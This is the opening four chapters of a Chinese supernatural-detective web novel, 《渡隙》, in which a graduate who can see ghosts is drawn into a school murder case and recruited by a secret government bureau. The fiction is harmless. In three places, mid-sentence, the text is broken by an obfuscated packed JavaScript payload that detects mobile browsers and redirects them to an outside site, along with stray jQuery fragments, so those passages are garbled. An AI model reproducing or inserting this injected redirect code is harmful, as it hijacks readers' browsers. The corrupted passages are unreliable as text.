《渡隙》 1. 命案 连宁市下了半个月的雨。 天像被捅漏了,最初大雨倾盆,好多地势低的地方积水能淹过成年人的腰,弄得全市停工停学。接连下了十来天,这雨终于后继乏力,到了教师节这天,变成了尾声一般的绵绵细雨。 天色阴沉,空气有点冷,崇明中学门口一片空旷,校牌被雨洗得油亮,闻允打着一把黑色的伞,怀中抱着一束沾着水汽的康乃馨,站在门禁前。 老保安一眼就将他认了出来——这年轻人长得实在很有辨识度,见过就很难忘。他看起来跟明星似的,皮肤白净,五官有点雌雄莫辨的漂亮,就是气质太冷硬,显得有些生人勿近。 “回来看老师的吧?”老保安笑了笑,“四年没见过你啦,是不是大学毕业了?” 闻允不说话,只点了点头。 老保安不在意他冷淡的态度,他尽忠职守地说:“不是不让你进啊,就是今天情况有点特殊,你得先联系校内老师,取得同意了才能进。” 闻允问:“什么情况特殊?我提前和老师打过招呼了。” 老保安挠了挠耳根:“学校里发生了点事,校领导怕媒体混进来瞎报道。今天其实不让陌生人往里进的,不过你以前是这儿的学生,打个电话核实一下就得了……对了,你现在上班了没有,不是记者吧?” 这话莫名其妙地戳到了闻允的痛处。 闻允三个月前刚从连宁大学毕业。在校期间,他戒掉了一切娱乐活动,勤勤恳恳地学习,绩点名列前茅,甚至拿到了保研名额,只是出于对金钱的考量,最终没选择读研。因此,虽然读的专业有些冷门、就业有点难度,但按照连大的知名度,以及他履历的漂亮程度,他怎么也是个炙手可热的香饽饽。 理论上来说,他应该顺顺利利地在某座高级写字楼里开启人生的下一阶段才对。 可见鬼的是,闻允找工作投出的所有简历,都跟打狗的肉包子似的杳无音讯。 去年秋招的时候,闻允生了一场大病,没能赶上招聘,一拖就拖到了今年春招。刚投完第一份简历,他的电脑屏就像坏掉的大屁股电视一样闪烁了一下,随即弹出了一个网页。 那个网页的界面极其古怪,底色是大片的血红,视觉效果十分灾难,界面两侧有两个垂直的、长长的方框,黑底描着白边,上面写满了大字,看起来像一副挽联。 闻允扫了一眼,发现左右两行写的分别是:泣泪恸天摧玉树、唉声动地惊鬼神。 好么,这根本就是一副挽联! 挽联的中间夹着一个粗糙的投递界面,岗位名称和岗位描述一概没有,只在最上方挂了一个写着“特异事件安全管理局”的徽章,几行传销一般的话术在下方。 “归属国家的秘密部门,钱多事少离家近,再不加入就晚了!” “只要投简历,立马就能离年入百万更近一步,机不可失时不再来!” “工作氛围轻松,没有kpi,只要加入就能躺赚,轻松赚钱的最好方式!” 以闻允的智商,他但凡相信了其中任何一个字,都愧对他即将到手的毕业证书。于是他聪明地叉掉了网页,还给电脑好好地杀了一番毒。 诡异的是,杀毒没用,此后只要投递简历,这个界面就隔三差五地弹出来一次,而他投出去的简历就像进入了异时空,没有收到任何回音。 于是闻允待业至今。 “……我不是记者,”闻允不会和陌生人讲这种一听就荒唐的事,他言简意赅地说,“没事,我再给乔老师打个电话吧。” 乔老师是闻允的高中班主任。闻允父母早逝,留给他的家底不算厚,没有收入的恐慌让闻允过得很节约,乔老师心细如发,看出了闻允的拮据,在高中期间帮助他良多,后来闻允考上了连大,乔老师还给他包了个大红包。 闻允一直记着这份恩情,想给乔老师好好地道个谢,可惜他大学期间连学习带兼职,实在忙得团团转,算来这还是毕业后第一次回学校看老师。 电话很快接通,闻允把手机递给保安,保安连着应了几声,确认完毕,打开门禁,给他放了行。 进了学校,闻允轻车熟路地往教学楼走。崇明中学的三个年级各占一栋教学楼,乔老师今年在带高三,闻允知道上哪儿找她。 正是上课的点儿,学校里除了闻允,路上基本看不见人。到了高三楼下,闻允发现不远处的办公楼底下拉着一条警戒线,一个高挑的男人站在警戒线里面,他的身边还有个银灰色长卷发的女人。在如此青春洋溢的校园里,俩人竟然人手一支烟,正在那吞云吐雾。 隔着密集的雨帘和烟雾,闻允也能看清那个男人的眉眼——那男人的五官很深邃,眉毛和睫毛都长得很野蛮,浓密异常,乍一看像混血儿。 也许是心有灵犀,闻允望去的瞬间,对方也正好看了过来。不知什么出于原因,那男人竟然朝他笑了笑,还挥手打了个招呼。 莫名其妙。闻允心想:学校里抽烟,哪来的这么没素质的人? 他给没素质的男人送了个冷脸,随后转身上了楼。 高三办公室六人一间,此时只有乔老师坐在靠近门口的办公桌前,没有其他教师。见到闻允,乔老师欣喜地迎了出来,亲切地问:“小允?好久没见你,上大学又长高了。最近过得怎么样?” 乔老师今年四十来岁,留着一头干练的短发,说话语气却很温柔。闻允一直将她视作没有血缘关系的长辈,冷淡的表情登时就融化了,他点点头,将手中的鲜花递了出去,用标准的好学生语气说:“都挺好。乔老师,这是送您的……教师节快乐。” 乔老师喜笑颜开,牵着闻允的手,将他往办公室里引:“进来坐会儿吧!正好陪陪我。” 不知为什么,她的手冰得厉害,闻允抬头看了一眼空调,上面显示的温度是二十五。 进了办公室,闻允才发现屋里还坐着三个学生,一个长得又胖又圆,眼睛都快失踪在□□里,一个看起来挺壮实,还有一个染着黄毛,一看就是个小混混。 见到闻允,三个学生本就难看的表情雪上加霜,他们打着哆嗦,将眼神仓惶地移走了。 闻允疑惑地想:我有那么吓人么? 他于是朝三个学生扬了扬下巴,简短地问:“学生犯事了?” 乔老师无奈地叹了一口气:“这是我们班上的三个学生,在这里等警察呢。昨天他们目击了一个命案现场,今天要配合警方做笔录……哦,一会儿警察就该来了。” 三只鹌鹑发现闻允不是警察,紧绷的神色又微微放松下去。 闻允立刻联想到了保安说的“特殊情况”,他惊讶地追问了一句:“……命案?发生在学校里?” “嗯,”乔老师把花放下,给闻允倒了杯水,“有个姓张的物理老师去世了,死在办公楼里。不过他没教过你们班,你应该不认识……哎,你也不用太在意,应该就是个意外。” 闻允接过水,道了一声谢,静静地喝了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530287|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>从这三个学生活见鬼的表情来看,他觉得这起命案不太像意外。就算是“意外”,也肯定是个格外惨烈的意外,否则十七八岁的男孩儿,不至于吓成这副德行。 他来的实在有点不是时候,看望老师还能撞上命案,三个学生正应激着,谁也不说话,乔老师有心要和他唠唠家常,碍于学生在场,又不便开口,氛围一时僵硬下来。 闻允向来是不怕安静也不怕尴尬的,但他喝下半杯水,也觉得不好再待下去了——毕竟一会儿有警察要来查案,他作为一个无关人员,总不好在这里旁听。 于是他打好腹稿,准备与乔老师辞别。 谁知这办公室隔音做得这么差,还没站起来,他就听见走廊上有动静,一个年轻男人和中年男人交谈的声音远远地出现。 中年男人的声音他认识,是个姓汪的教导主任。汪主任为难地说:“……但是这、这怎么可能呢?密室杀人,尸体还死成那样……” 另一个声音懒散地回应:“没有真正的密室杀人,您想想,这类题材相关的小说多了去了,最后一查不都是人为的吗?” 汪主任的声音一低,变得模糊起来:“但尸体的样子实在是……唉,严警官,张老师他融化成那样……” 闻允皱了皱眉,从这段意外撞进他耳朵里的对话中提炼出关键信息:融化? 这死法一听就凶残,什么样的意外能让尸体融化?学校又不是钢厂,还能有炼钢炉? “严警官”的语气听起来举重若轻,似乎根本不觉得这是什么大事:“查清凶手用了什么手段就是我们的事了,您先别太惊慌,也不要对外散布案情信息。” 两人的声音越来越近,几乎就在门外,紧接着,对话空白了一瞬,像是他们同时安静下来。 几秒后,闻允听见年轻男人意味深长地问:“不过我很好奇,汪主任,为什么从刚刚开始,你就一直暗示我这件事超出了科学范畴?您是觉得……凶手不是人吗?” 闻允听得有些入神,把辞别的事忘了个一干二净。他刚站起来,门就打开了,来不及走的闻允被堵个正着,和门口的男人打了个照面。 来人正是刚才在楼下抽烟的男人。按说他被人叫做“警官”,应该是个正经警察,但他身上不仅没有任何制服,还穿了一身的奢侈品,气质吊儿郎当的,不像警察,反倒有点像男模。 闻允觉得他下了班就能去走红毯。 这严警官一见到闻允,立刻眯起眼睛笑了笑,随后他走进办公室里,环视了一圈,语气自然地说:“都在啊?那正好了。” 态度悠闲得好像不是来查案,是来参加熟人局的。 随后,他又转头糊弄门口的汪主任:“您先忙吧,我不打扰您了,问完这些学生我就走。” 汪主任有点欲言又止。 严警官看懂了他的担忧,大义凛然地说:“唉,这世上没有科学解释不了的事,您是个教育工作者,更应该坚持唯物主义价值观,世上哪儿有那么多的牛鬼蛇神呢?” 汪主任好像吃了一记定心丸,脸色这才好看了些,他连连点头,转身便走了。 闻允也准备跟着汪主任离开,不料在他和严警官擦肩而过时,严警官出其不意地将他叫住:“哎,这位小帅哥!” 闻允的脚步顿了顿,平静地朝严警官投去一个“有何贵干”的眼神。严警官泰然自若,他当着众人的面凑近闻允,用只有两人才能听见的音量,低低地问:“你是个阴阳眼吧?” 2. 特安局 闻允微微顿了一下,他滴水不漏地将方才听来的话又回敬给严警官:“一定要坚持唯物主义价值观,世上哪儿有那么多牛鬼蛇神呢?” 二人的视线交锋片刻,都觉得从对方眼里看出了点儿什么。 严警官觉得这小帅哥忒难诓骗,不跟其他年轻人似的说得多想得浅,闻允则是在心中暗暗一惊,心想:他怎么知道? 他到底是什么人? 严警官是不可能从闻允的眼神里读出这种疑惑的,但他充分发挥了自己不要脸的特长,厚颜无耻地搂住了闻允的肩,以一种哥俩好的态度说:“哎呀,我开玩笑呢,我这个人最讲科学了,哈哈哈。” 说话间,他将闻允调转了个方向,又带回了办公室里,反客为主地指了指空椅子,亲切地说:“坐吧,一块儿听听。” 闻允岿然不动地反问:“这符合程序吗?” 严警官无所谓地一耸肩:“没事,反正没人会举报。” 接着,他尤其恳切地说:“我觉得我和你特别、特别投缘,不如你在这儿等我做个笔录,等下班以后,我请你吃饭?” 闻允连借口也懒得找,一口否决:“我有急事。” 严警官露出一个惋惜的表情,他似乎终于明白自己不能强人所难,只好退让一步:“哦,那就可惜了,我还打算忙完了和你聊聊找工作的事儿呢。” 闻允心里微微一跳。 阴阳眼就算了,如果严警官连那个古怪的网站都知道,他就不得不留下来,听一听这唱的是哪出戏了。 乔老师听得一头雾水,她没明白严警官是怎么把话题拐到找工作上的,这对话对她而言太跳脱了。但她吃惊地发现,自己那个向来不好说话的学生犹豫了一下,竟然真的在椅子上坐了下来。 严警官心满意足,他在闻允身边坐下,从兜里摸出一盒烟来,递向三个学生:“有人抽么?” 学生们迟疑地摇了摇头,严警官又转向乔老师,自然地问:“您抽么?” 乔老师礼貌地谢绝:“谢谢,我不要。” 严警官爽朗地一笑:“没事儿,我就是客气客气,真抽也不给,吸烟有害健康。而且室内抽烟也太缺德了,是吧老师?” 乔老师勉强地提了提嘴角,露出一个完全出于礼貌的笑容,没接话。 屋里除了严警官外的五个人不约而同地想:真有病。 严警官慢悠悠地转过身,把烟收回了兜里,紧接着煞有介事地打开了一本笔记本,取下上面别着的笔,开始向学生问话。 也真是奇了,被严警官这么一打岔,三个学生反而没那么害怕了,状态都稳定了一些,能比较理智地和严警官沟通交流。 小胖墩名如其人,叫做郭敦,他和体育生张兴凯、小混混李祺是一个寝室的室友。 昨天夜里熄灯以后,张兴凯和李祺想喝酒,他俩是不学无术的典范,从不在乎校规和成绩,而郭敦虽然成绩中等,但也还算上进,他想保住自己寥寥无几的睡眠时间,就询问两个室友能不能换个时间段喝。 结果俩人不怀好意地笑了,说换时段不行,换个地方倒是可以,让郭敦把活动室的钥匙交出来。 严警官:“活动室?” 郭敦吞吞吐吐地说:“我们学校之前有个音乐社,还有社团活动室,就在办公楼里,我们以前就在里面举行社团活动……” 严警官问:“之前有,现在没了?” 郭敦下意识地看了乔老师一眼,乔老师接过话头:“没了,学校觉得课余活动太影响学生读书,就给取消了。以前活动室的钥匙是学生自己保管的,社团取消以后学校就把活动室回收了,钥匙应该也拿回来了。” 郭敦垂头丧气,低声说:“活动室被收走以后,老师就没再管过,其他人也不知道我手里有钥匙……” 那地方自然就成了郭敦一个人能进入的秘密基地。 严警官在本子上记了几笔:“接着说。” 郭敦深吸一口气:“我……我手上的钥匙,是偷偷拿社长的那把复刻的,不是很想给他俩,所以没立刻答应……” “为什么?” 郭敦的眼神挪到了张兴凯和李祺身上,立刻又收了回来,好像不知道怎么开口。 闻允发现三个学生虽然坐在一起,但其实亲疏分明,郭敦自己坐在一个角落里,张兴凯和李祺则挨得更近一些。如果没猜错,在这个宿舍里有两个“派系”,而郭敦属于弱势的那一方。 果然,郭敦哽了哽,没给出具体的理由,只是嗫嚅着说:“我就是不想给,但是他们俩非要我拿出来……” 张兴凯有点急眼了,他不打自招地打断郭敦:“我又没打你没逼你,你这个态度是什么意思,暗示我俩欺负你呢?” 郭敦低声道:“我没这么说……是我主动的。我主动问凯哥,能不能我拿着钥匙带他俩去,他们也同意了。” 张兴凯仿佛沉冤得雪,他松了一口气,微微涨红的脸色也逐渐恢复,而李祺只是低着头,不停搓着自己的指尖,一句话也不说。 严警官:“继续。” 郭敦舔了舔嘴唇,神色变得有些害怕:“我们就拿着手电筒去办公楼找活动室。活动室的门是锁着的,我上次亲手锁上的,把门打开以后,我看见、看见……” 他哆哆嗦嗦起来,表情惊恐,一句话也说不下去。 昨天夜里的事情他简直历历在目。 办公楼里没有光亮,通往活动室的走廊看起来诡异、幽深,仿佛一条长蛇冰冷的腹腔,走廊里的窗户黑洞洞的,像一双双注视着他们仨的眼睛。 他打着手电筒,硬着头皮,顶着这种奇异的被注视的感觉,从蛇头走到蛇尾,站在了活动室前。 张兴凯和李祺兴致盎然,催促他赶紧开门,他别无他法,将锁着的门打开,用手电筒往里一照,照出了一具奇形怪状的、惨白的尸体。 张兴凯咽了口唾沫,接过郭敦身上的重任:“……我们看见地上有一具尸体,看起来特别扁,好像身体里没骨头。其实我最开始没觉得那是尸体,还以为是个人形的水球,但、但是他的五官很真实,一看就是人的五官,脸上的表情特别恐怖……” 闻允听着便皱起眉头,结合汪主任说的“融化”,他觉得自己差不多能倒推出现场多有冲击力。 这个严警官应该是看过现场才来的,语气却稀松平常,一张口就冲淡了室内积蓄的恐怖氛围:“什么样的表情?惊恐?” 张兴凯用力地点点头:“对对对,就是特别惊恐,眼睛和嘴都张得大大的。那个‘尖叫’那幅画你知道吧?看起来就跟那幅画差不多!” 严警官:“‘尖叫’?……哦,你说的是‘呐喊’吧?” 肌肉比脑子发达的张兴凯茫然了一瞬,反应过来:“是是,反正就像那幅画。我们真是被吓惨了,立刻就回宿舍了。但我们是半夜偷偷溜出宿舍的,不敢跟人说,怕被抓了,所以今早上才告诉了宿管阿姨……” 严警官“唔”了一声,追问道:“昨晚除了那具尸体,你们还发现了什么异常么?” 一直没说话的李祺冷不丁地开口了,他幽幽地说:“我们刚进办公楼,郭敦就说自己撞鬼了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530288|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 话音刚落,低头写东西的严警官和闻允同时抬起头望向郭敦。 他们的动作太同步,以至于两个人察觉后又互相对视了一眼。而后闻允事不关己地把头低了下去,兴致索然地在手机上点开数独游戏。 严警官问:“小郭同学,你说自己撞鬼,是看到什么了么?” 郭敦咬了咬牙,开口道:“我、我看到的好像是跳楼的那个学姐。” 严警官嘀咕了一句“你们学校命案怎么这么多”,随后,他正色道:“那姑娘为什么跳楼?她是什么时候死的?” 郭敦想也没想,脱口而出:“上学期末,六月份的时候。” 回忆昨晚的事,郭敦尚且需要想一想,而问起三个月前的事,他竟然回答得这么快,好像大脑无需思考,凭借潜意识就能把答案说出来。 严警官没接话,他眯了眯眼,气质微妙地锐利起来。 郭敦自觉失言,只好咬牙补充道:“因为当时马上就要高考了,我知道那个学姐成绩特别好,没想到她会在那时候跳楼,所以印象特别深刻。至于为什么自杀,我也不知道……我不认识她。” 严警官不置可否地问:“说说看,你为什么觉得自己看到的是她?” 郭敦舔舔嘴唇:“我其实也没看清,就只看到一个白白的人影,半透明的,一闪就过去了。我想,学校里也没死过别人,八成就是那个学姐吧……但也可能是我看错了,我小时候能看到点不干净的东西,后来父母给我求了个玉佩,戴上以后就很少再看见了。” 严警官在本子上最后写了几笔,头也不抬地说:“嗯,行,那就今天就到这吧。” 闻允在格子里填上最后一个数字,用余光扫了一眼严警官的本子,发现他煞有介事地写了大半天,竟然是在上面涂鸦,还是简笔画风格。 最左边一个哭丧着脸的小胖子,中间一个呆滞的大高个儿,右边一个猥琐的黄毛,活灵活现,画的就是这三个学生。 ……他算是知道了,这个严警官不仅没有制服,没有礼貌,也没有节操。 严警官合上本子,懒懒散散地对乔老师说:“谢谢啊,今天打扰了。” 乔老师客气地一笑:“怎么会?配合你们办案本来就是公民的义务,况且对于张老师的死我也很痛心,之后如果还有什么能帮上忙的,尽管来找我们。” 她的话虽然说得很漂亮,却未见得有多少真情实感,严警官品了一下,觉得乔老师的态度从头到尾都是一个样,提起死者的时候没有丝毫波澜,可见就算痛心是真的,也痛不到哪里去。 但他没做表示,只是喜庆地对仨小孩儿说:“行了,三只小崽子,回教室里玩儿去吧!” 闻允合理怀疑这个严警官的高中生涯就是这么懒散,才以己度人地觉得学生来学校都不学习、光玩耍,天知道他到底怎么当上的警察。 这时,严警官站了起来,朝闻允道:“那我们走吧?” 等都等到这时候了,闻允不可能再拒绝他,何况他还有几个问题想请教这不靠谱的严警官,于是他起身跟了上去。 两人一路无话地走到教学楼下,闻允突然站定,态度坚决地对严警官说:“我要看你的证件。” 严警官吃了一惊,边把手伸进兜里摸证件,边说:“稀罕啊,我工作了这么多年,这还是第一回有人反过来查我。也行,警惕点儿是好事。免贵姓严,严崇山。” 严崇山将证件摸了出来,爽朗一笑,慢悠悠地补充:“——是特异事件安全管理局的局长。” 闻允的眼睛微微睁大了。 3. 原委 那本证件的封皮是藏蓝色的,上头印着一个徽章,和闻允在网站上看到的一模一样。 为了验证真实性,严崇山拇指一挑,把本子打开,里面竟然是十分正经的证件,姓名、部门、职务以及公章等信息,全都一清二楚。 闻允的大脑飞快运转,他斩钉截铁地说:“我不信。你还没到三十吧?” 严崇山欣然接话:“今年二十八。是不是青年才俊?” 闻允冷冷地问:“不到三十的局长这么好见吗?堂堂一个局长,还要自己办案?你们单位是不是太随便了点?” 他每个问题都切中要害,严崇山在心里提升了对闻允的评价,心说:智商还挺高,不愧是连大毕业生。 他不慌不忙地说:“我很难和你解释为什么我能英年早局,这事儿小孩儿没娘说来话长,亲自出来办案当然是因为手底下那群饭桶不靠谱……总之哥是凭借绝对的实力当上的局长,途径正当,绝对没有走后门好吗?” 闻允:“……” 这简直就是此地无银三百两! 见闻允仍然态度怀疑,严崇山想了想,道:“这样吧,你不是还没找到工作吗,我看你很符合我们局的调性,就由我这个局长亲自向你抛出橄榄枝,怎么样?要不要加入我们?” 闻允想起这一无所获的半年就来气,他咬牙切齿地问:“我的简历是你们捣的鬼?” 严崇山一秒举起双手做出投降姿势,无辜道:“我从不干这么缺德的事儿。” 见闻允疑虑未消,他又补充说:“……估计是技术处出的损招儿吧,哈哈,不好意思,回去我教育他们一顿。” 闻允简直服了他的厚脸皮,他就不信所谓的“技术处出的损招儿”严崇山一点也不知情,绝对是这个当领导的人默许了下属乱来,否则严崇山怎么会一见面就知道他没找着工作? 闻允深吸了一口气,最后问:“你怎么知道我是阴阳眼?” 严崇山伸出一根手指,搭在自己的眼尾上点了点,笑容狡黠:“你还没受过系统的训练,所以只能看见别人让你看见的,看不见自己想看的。如果加入特安局,我们有的是高人来给你做培训,保证让你扬长避短,把才能发挥在适当的地方。考虑一下?” 他的面部轮廓很硬朗,眉弓高、眼窝深,五官太鲜明,不笑的时候其实很有侵略性。而一旦笑起来,那点令人不适的感觉就立刻冰消雪融,让人觉得他只是个不着调的英俊男人。 奇迹般地,闻允心里对严崇山的厌烦低了一个层次,但表情仍旧不太妙。 严崇山察言观色,接着提出一个建议:“反正我要请你吃饭,你可以跟我回局里吃顿饭,顺便看看工作环境再做打算。” 闻允无动于衷。 严崇山言之凿凿:“我还能顺便去把技术处的人抽一顿给你泄愤。” 这时,表情一直是“我和你们势不两立”的闻允竟短促地笑了一下,好像对这个决定颇为满意,他轻快道:“一言为定。” 他脸上表情不多,偶尔笑一笑还挺动人,没被社会锤炼过的学生气漫出来,拒人于千里之外的漠然陡然被冲淡。 严崇山一愣,心说早知道他笑起来这么好看,就优先告诉他可以把人抽一顿了。 他将手出屋檐下,接了一点若有似无的细雨,恬不知耻地转头对闻允说:“嘿嘿,没带伞,劳烦你打伞了,小允同志。” 严崇山果然对闻允了解得一清二楚,连名字都不用闻允自我介绍。想到这,闻允的笑容昙花一现地消失了,他不情不愿地打开伞,护送严崇山去了车库,坐上了一辆和严崇山本人同样招摇的宾利越野。 校区大门在车窗外倒退着离开视野,车内一片寂静,连雨水落在玻璃上的声音都轻不可闻。 严崇山开车的时候习惯很好,开得挺认真,也不和闻允闲聊,反倒是闻允突然问:“今天站你边上的那个姑娘是谁?” 严崇山正经不过三秒,他一打方向盘,轻佻地问:“哟,吃醋了?” 闻允语气很淡:“你知道领导的好坏有时候很影响入职意愿吧?” 严崇山老气横秋地叹了一口气,摇着头说:“唉,你压根儿不懂什么叫幽默。” 随后,他解释道:“那是我们外勤处的姑娘,叫罗梨,跟我一块儿来查案的。我们看过现场了,这不是人为的案子,的确要转进我们办公系统里,所以我让她带人去现场做灵检。” 神神鬼鬼的事不在闻允的知识范畴里,这位求知若渴的优等生立刻问:“灵检?” 严崇山:“就是灵力检测。你可以把鬼理解为一种由能量构成的能量体,他们的行动会留下痕迹,灵检能查到这些东西。嗯,算是一种针对鬼魂的鲁米诺试剂吧。” 闻允:“……这事儿有那么科学吗?” 严崇山眉梢一挑:“小帅哥……” 下一刻,他透过中央后视镜看见闻允皱起眉,立刻改口:“不,小同志。人类至今没弄清楚鬼神究竟是什么东西。但我相信那只是技术力不够的缘故,我们可以理性地选择看待他们的方式。你要是封建迷信,就容易被这些东西吓着,但要是用科学的眼光来看待,一切都只是科技,所有难题都有解法,明白吗?” 闻允竟有点被他这种义正言辞的架势说服了,他轻声问:“所以你真的是唯物主义者……” 严崇山翻了个大大的白眼:“我脑袋又没被门夹过,那么大一个鬼魂摆我眼前我还能当看不着吗?那套说辞是拿来糊弄老百姓的,真让他们发现世上有鬼还得了?” “……” 闻允平静地想:你的脑子绝对被门夹过。 他认为这个严局长十分难相处,因此人还没到特安局观光,心里已经打定主意,只要吃过饭、再把那个捣乱的技术人员打一顿、逼他承诺以后不再影响自己找工作就走人,绝不加入这种脑残领导麾下。 严崇山丝毫没察觉自己的印象分已经快被扣光了,他笑着朝前方抬了抬下巴,说:“喏,前面就是特安局。” 在道路尽头的左侧,坐落着一个看起来建于上世纪的院子,外墙被旧瓷砖贴满,围墙上摆满了碎玻璃渣,防止有人翻墙而入。 这种防范手段很有年代感,和建筑物放在一起又和谐得交相辉映。 特安局的大门是个带滚轮的铁门,贴门上有个拱形的铁架子,“安全局”三个字金黄地悬在铁架子上——那材质一看就是塑料,已经脱落大半,露出来的地方黑漆漆的,安全局缺胳膊少腿儿地变成了“女王局”。 闻允开始怀疑这一切都是巨大的骗局,否则这个破破烂烂的安全局怎么供得起严崇山开越野、穿奢侈品? 他已经脑补出在里面上班是个什么情形了:大家每天端着搪瓷杯,走进阴森森的、没电梯的楼里,苦命地开始爬楼。等到了工位,就把和自己年龄一样大的大屁股电脑打开,等上三分钟才能进入桌面,所有人纯纸质化办公…… 想到一半,安全局的铁门无声无息地向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530289|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内打开,黑色的宾利越野驶了进去。 周围的景色奇迹般地改变了——那些老旧的装修如幻觉般散去,露出特安局的真容。 围墙里头十分广阔,车道两旁是修剪平整的草坪,车道尽头有个现代的欧式大别墅,在别墅的左右两侧,分别立着两个柱子,上方的雕塑怪模怪样,乍一看像是两个朝天仰望、嘴巴大张的兽头。 闻允:“这是……” 严崇山得意洋洋地介绍:“是结界符,哈哈,防止其他部门觉得我们局里油水太多,削尖了脑袋要钻进来。” 闻允的世界观受到了冲击。 他不是生来就能看到那些东西,小时候做完心脏移植手术后,世界就变样了。 他的父母对此有着超乎寻常的担忧,到后面甚至到了有点儿神经质的地步,反复交代闻允要藏好这件事,甚至连去世前的遗言,都是要他决不能被其他人发现。 因而此事除了天地和父母外,只被一个小道士意外道破过——不过那人成天在城南摆摊算命,和城管打游击,是不是真道士还难说。 他一直坚持假装鬼魂不存在,以免被缠上,所以没有主动钻研这些神鬼相关的知识。 即便他心里大概相信符咒这种东西有用,但也想不到这些东西真如严崇山所说,已经被当成科技来开发。 严崇山一路将车开进地下车库,边下车边和闻允介绍:“弄来这地方花了我不少钱呢,别墅里有起居室,你当成员工宿舍也行,要是入职了,可以直接住在这儿,反正离市中心也近,去哪儿都方便。” 他满意地发现闻允的表情微微有点动容,那神情大概可以概括为“我恨万恶的资本家”。 严崇山趁热打铁:“入职缴纳六险二金,底薪一万八,绩效另算,你平时要出去坑蒙拐骗我也睁一只眼闭一只眼,只要没人举报,决不拦着你赚钱……够可以吧?” 说话间,电梯叮咚一声打开,一行人急匆匆地从电梯里走出来。为首的冷面男手里拎着个工具箱,今早见过一次的罗梨挽着他的手臂,神态很是亲热。 见到严崇山他们,几个人脚步没停,只远远地、客气地打了一声招呼:“严局,回来了?” 闻允忍不住想:什么盐焗,也太难听了点,我还照烧呢。 罗梨似乎是有点近视,她走近了才看清闻允,眼睛登时一亮,热情洋溢地问:“你是新来的吗?好帅呀你。哎呀,本来应该我带你在局里逛一逛的,可惜我现在要出外勤去了,等我回来再找你玩儿~” 冷面男“啧”了一声,硬梆梆地说:“罗梨,走了。” 随后,闻允目送他们几个人上了一辆银白色的SUV,风驰电掣地从车库里开了出去。 严崇山好像默认他会被这里的薪资待遇打动,开始自顾自地给他介绍起人员:“那个脸色很臭的男人叫计遇,他是‘寻踪’,做灵检都是他领头。罗梨是……罗梨用处很大,所以一般跟他搭伴儿。” 闻允觉得自己正在没完没了地产生新问题。 “‘寻踪’是什么?” 严崇山:“一种特殊能力。你灵力很强,应该也有特殊能力,一会儿到了技术处正好测一测,也方便我们登记收录。” 那为什么不介绍罗梨,不是用处很大么?还是这个“用处”伴随着什么难言之隐,所以严崇山只字不提?这些能力会不会有什么副作用?……每个能见鬼的人都有么? 带着满腹疑问,闻允和严崇山走进了电梯里。 4. 融化 严崇山把楼层逐一按了个遍,以一种“我是暴发户我骄傲”的口吻介绍:“负二楼是停尸房解剖室和小黑屋,分别用来关人和关鬼,那位老张兄弟做完灵检就要来做客了;负一楼是技术处,他们研发东西的动静大,所以我们特别做了个隔音;一二楼是公共客厅和起居室,休闲生活用的,有健身房和游泳池;三楼是后勤处和外勤处的窝点,办公室会议室也都在那一层。” 又是“关人”又是“窝点”的,他的介绍里有种凶残的冷幽默,可惜闻允是个“压根儿不懂什么叫幽默”的普通青年,没能体会到这种别具一格,只觉得领导是个介绍地盘的山大王,浑身上下一股匪气。 叮咚一声,电梯数字跳至负一,门向两侧打开,室内景象映入眼帘。 负一楼是个被完全打通的大平层,几根灰扑扑的水泥柱支在平层里。 平层大概分成了几个区域:有的区域里摆放着乱七八糟的现代仪器;有的区域里摆着几张办公长桌,桌上有亮着屏的电脑,几张折叠床散乱地摆在桌子边,方便使用者随时躺下来睡觉;有的区域里堆着大量的黄符、铜钱和桃木剑。 这几个区域没有明显的划分,完全靠物品来分类,交界处东西随意堆放。 闻允看见其中一张长桌,桌下是一堆快递盒,盒子里埋着一个看起来像头盔的东西,而桌上一把沉甸甸的铁剑压着一摞文件,剑上还有杯喝到一半的奶茶正在金鸡独立。 一干穿着格子衫、定位或许和程序员差不多的技术人员正在对着电脑屏幕打字,边上有个穿着道袍的年轻人,一边拍打着桌面一边唾沫横飞,声音充满活力:“你以为咱们技术力很足吗?还为了你研究御剑飞行,丫站得稳吗就御剑,摔你个狗吃屎你就老实了!” ……闻允越听越觉得这声音耳熟。 二人走了出去,只见那中气十足的小青年变了一副嘴脸,谄媚地朝严崇山打了个招呼:“领导回来啦?” 技术人员们跟着他看了过来,点了点头。 下一秒,他看清闻允,当即打了个哆嗦,脸色竟然又变了,活似一个闪烁的红绿灯,短短三秒内在原地演了个川剧。 他暗道:不好,今日大凶,不宜回局里。 可再不宜,他人也已经站这儿了。 只听闻允用一种很玩味的语气,似笑非笑地问:“——城南小道士?” 